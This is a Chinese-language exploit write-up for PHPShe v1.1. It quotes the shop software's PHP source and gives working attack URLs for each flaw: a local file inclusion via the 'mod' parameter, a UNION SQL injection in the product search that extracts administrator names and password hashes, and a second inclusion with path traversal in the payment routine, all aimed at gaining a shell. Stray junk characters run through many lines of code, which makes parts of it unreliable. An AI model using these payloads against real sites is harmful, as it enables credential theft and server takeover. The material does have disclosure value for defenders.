phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
2 @+ Z$ t. C! _8 A0 K% t# g0 m/* Phpshe v1.1 Vulnerability
/* ========================
' g4 L/ e% W6 d) Z8 U2 F/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

. {8 D7 i! G& ]- k: X# z
; r# x2 [, I. g, d
//common.php
if (get_magic_quotes_gpc()) {
5 u) h( f# n, V* M4 Y3 O0 p!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
$ X$ v  _! h3 Q0 k; Gelse {
% n$ |" k8 o* X% d!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
& A9 S, D- t/ P7 B!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

6 |% h& Y% g# H/ I3 ?& q# N6 I0×01 包含漏洞


//首页文件
2 m+ ?' s6 X8 w1 L& N4 z& T2 S<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
, j+ I$ A$ m2 K+ p?>
//common 文件 第15行开始
url路由配置
( F7 X0 U! J7 E8 i( D3 {$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

, |. \1 |" Z; |; ?, g& d& p
0×02 搜索注入
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; [( s+ e1 b$ F' v# l<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
- u; w! L: o- Q9 r( K" _- }$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
7 |) M/ c; ]: {9 u  Z! `8 _pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
5 j) k/ x% }6 h& b; z}
- o: x2 B; M! E  C8 |$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
7 d/ K2 H$ W# i; [( kif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
) L$ \6 U# D* I6 U$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
  Z+ L% w3 H* \8 x; m  R}
else {
2 t* K9 `4 b! e7 A8 |+ b0 u$sqlwhere .= " order by `product_id` desc";
}
! b; @+ a3 V) v8 |; `$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. \. L9 \7 T, z3 \//热卖排行
$product_hotlist = product_hotlist();
//当前路径
  T( {0 W% ?1 F2 s( `+ P$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
% C+ ?" W' v' r: ^. O/ c% G//跟进selectall函数库
% Y) G4 r/ s5 ~) E8 @public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
) g8 P; A* \" R( r' l4 o) k. R) U0 X{
. C- V# ?8 g, g% y% ^+ U+ H0 M, W//处理条件语句
# k5 u/ u( v- {4 W$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
) Z+ K$ M, |( `9 G  _. u+ [  a- U/ w% g//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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( C. z; M' |. }0×03 包含漏洞2

9 Q: }9 a5 U1 o7 C<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

4 `- M! M) o# S% Z' m7 m$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

7 G/ G- E# N/ x9 n6 {}

}

. B( o+ G1 m  G$ [7 H$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

3 i- j0 Z4 ~$ y, T2 yif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

8 R3 ?( s5 ~, N) {$ G$order['order_name'] .= "{$v['product_name']};";
# n( v9 l* ^* o

}

' d* m8 p; R4 t* o6 u) y1 Eecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

% L+ i9 ]% q- j' Ppe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

# e) R8 e# u  {1 N: A0 f0 ybreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>